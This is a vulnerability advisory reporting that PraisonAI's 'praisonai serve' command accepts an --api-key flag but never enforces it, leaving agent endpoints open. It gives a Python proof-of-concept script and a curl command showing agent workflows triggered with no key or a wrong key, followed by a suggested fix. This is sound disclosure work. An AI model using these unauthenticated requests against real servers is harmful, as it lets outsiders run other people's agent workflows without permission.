PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
🔗 CVE IDs covered (1)
📋 Description
Summary
praisonai serve agents and praisonai serve unified both accept --api-key for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.
Affected versions
- Confirmed on 4.6.50 (current PyPI, 2026-06-02)
- Likely since 4.6.34 when the serve subsystem shipped
- File:
src/praisonai/praisonai/cli/features/serve.py
What happens
The CLI defines --api-key in the arg spec (serve.py:199) and passes the parsed value into _create_agents_app(config). But that function never reads config["api_key"]. The FastAPI app gets created with no auth at all. Same thing in _create_unified_app.
The help text says --api-key <key> API key for authentication, so this isn't ambiguous — it's supposed to protect the server. It just doesn't.
$ grep -n "api_key" src/praisonai/praisonai/cli/features/serve.py
107: --api-key <key> API key for authentication
199: "api_key": {"default": None},
847: "api_key": {"default": None},
Endpoints exposed without auth
POST /agents— runs the full agent workflowPOST /agents/{name}— invokes a specific agentPOST /api/v1/agents/{id}/invoke— n8n integration endpointGET /— lists all endpointsGET /__praisonai__/discovery— service discovery
Not the same as CVE-2026-44338
CVE-2026-44338 was about the legacy deploy/api.py hardcoding AUTH_ENABLED = False. That was fixed in 4.6.34. This bug is in the newer serve subsystem that shipped in the same release — the --api-key flag exists but was never connected to anything.
PoC
Setup
python3 -m venv /tmp/poc-venv
/tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml
Script
import sys, types, tempfile, os
# Stub heavy deps so we only test the serve auth logic
for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server",
"praisonai.api", "praisonai.api.agent_invoke",
"praisonai.agents_generator", "praisonai.inc"]:
sys.modules[m] = types.ModuleType(m)
disc = sys.modules["praisonai.endpoints.discovery"]
class Fake:
def __init__(self, **k): pass
def add_provider(self, *a, **k): pass
def add_endpoint(self, *a, **k): pass
def to_dict(self): return {}
disc.create_discovery_document = lambda **k: Fake()
disc.EndpointInfo = Fake
disc.ProviderInfo = Fake
sys.modules["praisonai.endpoints.server"].add_discovery_routes = lambda a,b: None
sys.modules["praisonai.api.agent_invoke"].FASTAPI_AVAILABLE = False
class FakeGen:
def __init__(self, **k): pass
def generate_crew_and_kickoff(self):
return {"executed": True, "result": "workflow ran"}
sys.modules["praisonai.agents_generator"].AgentsGenerator = FakeGen
class FakeLLM:
def to_dict(self): return {}
sys.modules["praisonai.inc"].LLMConfig = FakeLLM
f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False)
f.write("name: T\nagents:\n a:\n name: A\n role: R\n goal: G\n backstory: B\n")
f.flush()
from praisonai.cli.features.serve import ServeHandler
app = ServeHandler()._create_agents_app({
"file": f.name, "host": "0.0.0.0", "port": 8000,
"path": "/agents", "reload": False,
"api_key": "supersecret", # <-- should protect the server
})
from starlette.testclient import TestClient
c = TestClient(app)
r1 = c.post("/agents", json={"query": "run"})
r2 = c.post("/agents", json={"query": "run"},
headers={"Authorization": "Bearer TOTALLY_WRONG"})
print(f"No auth header → {r1.status_code}") # 200
print(f"Wrong key → {r2.status_code}") # 200
os.unlink(f.name)
Output
No auth header → 200
Wrong key → 200
Both succeed. The key is ignored.
Live server test
# start server with --api-key
praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999
# hit it without any auth
curl -s -X POST http://localhost:9999/agents \
-H "Content-Type: application/json" \
-d '{"query":"run all agents"}'
# → 200, workflow executes
Impact
Anyone who can reach the server can trigger agent workflows without credentials. The operator set --api-key and got no error, so they think it's protected.
What an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.
Fix
_create_agents_app() and _create_unified_app() need to actually read config["api_key"] and add a FastAPI dependency that checks the Authorization: Bearer header. When binding to a non-loopback address without --api-key, the server should warn or refuse to start.
References
- CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)
🎯 Affected products1
- pip/PraisonAI:< 4.6.58